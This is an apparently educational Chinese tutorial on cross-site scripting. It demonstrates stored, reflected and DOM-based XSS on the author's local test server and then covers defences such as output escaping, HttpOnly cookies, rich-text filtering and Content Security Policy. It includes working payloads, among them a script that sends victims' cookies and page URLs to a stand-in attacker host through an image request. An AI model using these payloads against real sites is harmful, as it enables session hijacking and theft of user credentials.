跨站脚本攻击(XSS)
XSS,为不和层叠样式表(CascadingStyleSheets,CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。在一开始的时候,这种攻击的演示案例是跨域的,所以叫"跨站脚本"。但是发展到今天,由于JavaScript的强大功能基于网站前端应用的复杂化
1、简介
XSS :Cross Site Scripting,为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。在一开始的时候,这种攻击的演示案例是跨域的,所以叫"跨站脚本"。但是发展到今天,由于JavaScript的强大功能基于网站前端应用的复杂化,是否跨域已经不再重要。但是由于历史原因,XSS这个名字一直保留下来。XSS长期以来被列为客户端Web安全中的头号大敌。因为XSS破坏力强大,且产生的场景复杂,难以一次性解决。现在业内达成的共识是:针对各种不同场景产生的XSS,需要区分情景对待。
攻击原理:
XSS的原理是WEB应用程序混淆了用户提交的数据和JS脚本的代码边界,导致浏览器把用户的输入当成了JS代码来执行。
XSS攻击演示:
(1)通过页面插入留言信息
<body>
<form action="/lm/add" method="post">
<input name="content"/>
<input type="submit" value="留言"/>
</form>
</body>
(2)页面展示
<body>
<table>
<thead>
<th>序号</th>
<th>留言</th>
<th>时间</th>
</thead>
<tbody>
<tr th:each="lm,stat:${list}">
<td th:text="${lm['id']}"> </td>
<td th:utext="${lm['content']}"> </td>
<td th:text="${lm['date']}"> </td>
</tr>
</tbody>
</table>
</body>
(3)测试
留言:http://www.edu.com/storexss.html
查看:http://www.edu.com/admin/main
注:这里的网站是我自己运行的本地服务器,只不过是修改了host文件,将localhost改为此域名,后端执行逻辑省略。
正常:
窗前明月光,我是郭德纲
<!--恶意脚本植入-->
<script>alert('hey!you are attacked');</script>
<!--劫持流量实现恶意跳转-->
<script>window.location.href='http://www.baidu.com'</script>
<img src="a.jpg" onerror="alert('Attack')"/>
数据和代码分离原则,你期望用户输入的数据,而攻击者输入的是代码。
2、XSS攻击
- 存储型XSS
- 反射型XSS
- DOM型XSS
存储型XSS
存储型XSS,也就是持久型XSS。攻击者上传的包含恶意JS脚本的信息被Web应用程序保存到数据库中,Web应用程序在生成新的页面的时候如果包含了该恶意JS脚本,这样会导致所有访问该网页的浏览器解析执行该恶意脚本。这种攻击类型一般常见在博客、论坛等网站中。
存储型是最危险的一种跨站脚本,比反射性XSS和Dom型XSS都更有隐蔽性。
因为它不需要用户手动触发,任何允许用户存储数据的web程序都可能存在存储型XSS漏洞。
若某个页面遭受存储型XSS攻击,所有访问该页面的用户会被XSS攻击。
攻击步骤:
- 攻击者把恶意代码提交到目标网站的数据库中
- 用户打开目标网站,网站服务端把恶意代码从数据库中取出,拼接在HTML上返回给用户
- 用户浏览器接收到响应解析执行,混在其中的恶意代码也被执行
- 恶意代码窃取用户敏感数据发送给攻击者,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作
存储型 XSS(又被称为持久性XSS)攻击常见于带有用户保存数据的网站功能,如论坛发帖、商品评论、用户私信、留言等功能。
(1)简单攻击:
测试路径:http://www.edu.com/storexss.html
<script>alert('hello');</script>
(2)获取cookie信息:
登录窗口:http://www.edu.com/storexss.html
<script>alert(document.cookie)</script>
(3)黑客窃取cookie:
用户窃取cookie,具体实现就是将用户的cookie值发送到黑客工具箱,那么就需要将窃取用户cookie的js植入到系统中。考虑到窃取用户的js脚本过长不宜直接编写脚本植入,可以通过外部脚本的方式实现。
http://www.hacker.com 127.0.0.1
http://www.edu.com 127.0.0.1 (注:这些域名都是我修改本地localhost域名,它们是我自己搭建的本地服务器)<script src="http://www.hacker.com/script/hacker.js"></script>
窃取失败:
Access to XMLHttpRequest at 'http://www.hacker.com/s?c=url:http://www.edu.com/lm/query%20cookie:JSESSIONID=6756A3597BDC58B29A
BF7806F4B533AD' from origin 'http://www.edu.com' has been blocked byCORS policy: No 'Access-Control-Allow-Origin' header is present on therequested resource.
(4)绕过浏览器同源策略:
图片可以加载外部的数据源
(function () {
(new Image()).src = 'http://www.hacker.com/h?c=' +
escape("url=" + document.location.href) +
escape('&cookie=' + document.cookie);
})();
<script src="http://www.hacker.com/script/hacker2.js"></script>
访问:http://www.hacker.com/g
(5)通过cookie入侵
反射型XSS
反射型XSS,又称非持久型XSS,恶意代码并没有保存在目标网站,而是通过引诱用户点击一个恶意链接来实施攻击。这类恶意链接有哪些特征呢?
主要有:
- 恶意脚本附加到 url 中,只有点击此链接才会引起攻击
- 不具备持久性,即只要不通过这个特定 url 访问,就不会有问题
- xss漏洞一般发生于与用户交互的地方
演示连接:http://www.edu.com/reflectxss?reflectxss=
(1)正常处理
(2)脚本入侵
http://www.edu.com/reflectxss?reflectxss=<script>alert('lagou')</script>
(3)获取cookie
<!--如果已经登录-->
http://www.edu.com/reflectxss?reflectxss=<script>alert(document.cookie)</script>
(4)构造DOM
http://www.edu.com/reflectxss?reflectxss=<input type="button" value="登录"/>
DOM型XSS
DOM(Document Object Model),DOM型XSS其实是一种特殊类型的反射型XSS(不存储),它是基于DOM文档对象模型的一种漏洞,而且不需要与服务器进行交互(不处理)。
客户端的脚本程序可以通过DOM来动态修改页面内容,从客户端获取DOM中的数据并在本地执行。基于这个特性,就可以利用JS脚本来实现XSS漏洞的利用。
演示连接:http://www.edu.com/domxss.html?domxss=paramvalue
(1)正常处理
(2)脚本入侵,未遂
http://www.edu.com/domxss.html?domxss=<script>alert('lagou')</script>
使用innerHTML获得的JS代码是不能被执行的,JS只有在页面初次加载的时候才有效
(3)构造DOM
http://www.edu.com/domxss.html?domxss=<input type="button" value="登录"/>
(4)构造DOM
http://www.edu.com/domxss.html?domxss=<input type="button" value="登录" onClick="alert(document.cookie)"/>
(5)利用img标签
http://www.edu.com/domxss.html?domxss=<img src='http://www.hacker.com/attack.jpg' οnerrοr='alert(110)'/>
3、植入JS代码攻击及危害分析
外在表现形式:
- 直接注入JavaScript代码
- 引用外部JS文件
基本实现原理:
- 通过img标签的src发送数据
- 构造表单诱导用户输入账密
- 构造隐藏的form表单自动提交
- 页面强制跳转
- 植入文字链接、图片链接
潜在危害:
- 获取管理员或者其他用户Cookie,冒充身份登录
- 构造表单诱导用户输入账号、密码,获取账密
- 跳转到其他网站,网站流量被窃取
- 植入广告、外链等
- 通过隐藏友链提升其他网站百度权重(SEO黑帽)
4、植入HTML代码攻击及危害分析
外在表现形式:
- 构造img标签
- 构造a标签
- 构造iframe
- 构造其他HTML标签
基本实现原理:
- 通过img标签的src发送数据
- 通过img的onerror触发脚本代码
- 通过a标签被动触发脚本代码 href/onclick
- 通过iframe引入第三方页面
- 直接构造文字链接或图片链接
潜在危害:
- 获取管理员或者其他用户Cookie,冒充身份登录
- 构造表单诱导用户输入账号、密码,获取账密
- 植入广告、外链等
- 通过隐藏友链提升其他网站百度权重(SEO黑帽)
5、XSS漏洞预防策略
XSS攻击能够实现的主要原因:对用户的输入进行了原样的输出。
输入环节:
页面限制输入长度、特殊字符限制,后端代码限制输入长度、处理特殊字符,Filter过滤器统一处理(自定义处理规则、使用apache commons text、使用 owasp AntiSamy)注意:尽量不要使用自定义处理规则,因为因为有些情况我们可能考虑不到,尽量使用第三方,成熟工具包。
当然了如果你有钞能力,使用阿里云防火墙,是一个完美的选择。
开发人员来说,在后台执行用户录入数据长度的判断,特殊字符的专业通常会定义在流量官网部分。
Cookie防护:
通过植入的JS脚本获得用户的cookie,获得用户权限。cookie设置httponly,一般servlet容器默认httpOnly true。
在流量网关中统一做处理:
resp.setHeader("SET-COOKIE", "JSESSIONID=" +request.getSession().getId()+ "; HttpOnly")
X-Frame-Options 响应头 (是否允许frame、iframe等标记):
iframe允许加载外部的网页,也可以自己作为外部网页被加载,同时是可以被隐藏。
是否允许用户去使用iframe,指定iframe加载的网页地址。
DENY 不允许、SAMEORIGIN 可在相同域名页面的 iframe 中展示、ALLOWFROM uri 可在指定页的 frame 中展示。
add_header X-Frame-Options SAMEORIGIN; //在nginx的http或server节点中配置
// 也可通过filter设置 resp.setHeader("x-frame-options","SAMEORIGIN");
输出环节:
OWASP ESAPI for Java
显示时对字符进行转义处理,各种模板都有相关语法,注意标签的正确使用。通常情况下前端框架或者对应的模板引擎都将转义设置为默认。
thymeleaf:
<!--非转义输出,原样输出-->
<td style="background:#FFF; padding: 3px;"
th:utext="${item.content}"></td>
<!--转义输出-->
<td style="background:#FFF; padding: 3px;"
th:text="${item.content}"></td>
JSP
<!--默认true,进行转义-->
<c:out value=" ${ content }" escapeXml="false" />
<c:outvalue=" ${ content }"/>
DOM型XSS:
避免 .innerHTML、.outerHTML、document.write(),应使用.textContent、.setAttribute() 等。
尤其注意onclick、onerror、onload、onmouseover 、eval()、setTimeout()、setInterval() 以及的 href
富文本处理:
在过滤富文本时,“事件”应该被严格禁止,因为富文本的展示需求里不应该包括“事件”这种动态效果。危险的标签,比如<iframe>、<script>、<base>、<from>等,也是应该严格禁止的。在标签的选择上,应该使用白名单,避免使用黑名单。比如,只允许<a>、<img>、<div>等比较安全的“标签”存在。富文本过滤中,处理CSS是一件比较麻烦的事情,如果允许用户自定义CSS、则也可能导致XSS攻击。比如尽可能的禁止用户自定义CSS与Style。有些比较成熟的开源项目,实现了对富文本的XSS检查。Anti-Samy是OWASP上的一个开源项目,也是目前最好的XSS Filter。
6、内容安全策略(CSP)
内容安全策略 (CSP :Content-Security-Policy )是一个额外的安全层,用于检测并削弱某些特定类型的攻击,包括跨站脚本 (XSS) 和数据注入攻击等。
核心思想:网站通过发送一个 CSP 头部,来告诉浏览器什么是被授权执行的与什么是需要被禁止的,被誉为专门为解决XSS攻击而生的神器。
简介:
XSS 攻击利用了浏览器对于从服务器所获取的内容的信任。恶意脚本在受害者的浏览器中得以运行,因为浏览器信任其内容来源,即使有的时候这些脚本并非来自于它本该来的地方。
CSP通过指定有效域——即浏览器认可的可执行脚本的有效来源——使服务器管理者有能力减少或消除XSS攻击所依赖的载体。
一个CSP兼容的浏览器将会仅执行从白名单域获取到的脚本文件,忽略所有的其他脚本 (包括内联脚本和HTML的事件处理属性)。
CSP的分类:
(1)Content-Security-Policy
配置好并启用后,不符合 CSP 的外部资源就会被阻止加载。
(2)Content-Security-Policy-Report-Only
表示不执行限制选项,只是记录违反限制的行为。它必须与report-uri 选项配合使用。
CSP的使用:
(1)在HTTP Header上使用(首选)
可以在网关的Filter中配置或者在Nginx服务器配置
"Content-Security-Policy:" 策略
"Content-Security-Policy-Report-Only:" 策略
Nginx配置方式
add_Header Content -Security-Policy : 策略
(2)在HTML上使用
<meta http-equiv="content-security-policy" content="策略">
<meta http-equiv="content-security-policy-report-only" content="策略">
如果Content-Security-Policy-Report-Only 头部和 Content-Security-Policy 同时出现在一个响应中,两个策略均有效。在Content-Security-Policy 头部中指定的策略有强制性 ,而Content-Security-Policy-Report-Only 中的策略仅产生报告而不具有强制性。支持CSP的浏览器将始终对于每个企图违反你所建立的策略都发送违规报告,如果策略里包含一个有效的reporturi指令。
使用案例
开启CSP方法:
<!--设置 HTTP 的头部字段-->
<!--加载css、js-->
response.setHeader("Content-Security-Policy","default-src http: https:");
<!--设置网页的<meta>标签-->
<meta http-equiv="Content-Security-Policy" content="formaction 'self';">
限制所有的外部资源,都只能从当前域名加载,不包含子域名
Content-Security-Policy: default-src 'self'
限制所有的外部资源,都只能从当前域名及其子域名加载
Content-Security-Policy: default-src 'self' *.lagou.com
图片可以从任何地方加载(注意 "*" 通配符)。
多媒体文件仅允许从 media1.com 和 media2.com 加载(不允许从这些站点的子域名)。
可运行脚本仅允许来自于scripts.lagou.com。
Content-Security-Policy: default-src 'self'; img-src *; media-src media1.com media2.com; script-src scripts.lagou.com
服务器仅允许通过HTTPS方式并仅从onlinebanking.abc.com域名来访问文档(线上银行网站)
Content-Security-Policy: default-src https://onlinebanking.abc.com
启用违例报告:
默认情况下,违规报告并不会发送。为启用发送违规报告,你需要指定report-uri 策略指令,并提供至少一个URI地址去递交报告:
Content-Security-Policy: default-src 'self'; report-uri http://reportcollector.example.com/collector.cgi
然后你需要设置你的服务器能够接收报告,使其能够以你认为恰当的方式存储并处理这些报告。
违例报告样本:
我们假设页面位于 http://example.com/signup.html。它使用如下策略,该策略禁止任何资源的加载,除了来自cdn.example.com的样式表。
Content-Security-Policy: default-src 'none'; style-src cdn.example.com; report-uri /_/csp-reports
signup.html 的HTML像这样:
<!DOCTYPE html>
<html>
<head>
<title>Sign Up</title>
<link rel="stylesheet" href="css/style.css">
</head>
<body>
... Content ...
</body>
</html>
你能看出其中错误吗?样式表仅允许加载自cdn.example.com, 然而该页面企图从自己的源 ( http://example.com )加载。当该文档被访问时,一个兼容CSP的浏览器将以POST请求的形式发送违规报告到 http://example.com/_/cspreports,内容如下:
{
"csp-report": {
"document-uri": "http://example.com/signup.html", <!--访问的网页资源-->
"referrer": "",
"blocked-uri": "http://example.com/css/style.css", <!--违规资源的路径-->
"violated-directive": "style-src cdn.example.com",
"original-policy": "default-src 'none'; style-src cdn.example.com; report-uri /_/csp-reports"
}
}
blocked-uri字段中包含了违规资源的完整路径
浏览器兼容性:
7、XSS漏洞扫描
常见的扫描工具有: Safe3WVS,Burp Suite ,AWVS,AppScan,W3af,Arachni,Acunetix等
更多推荐
所有评论(0)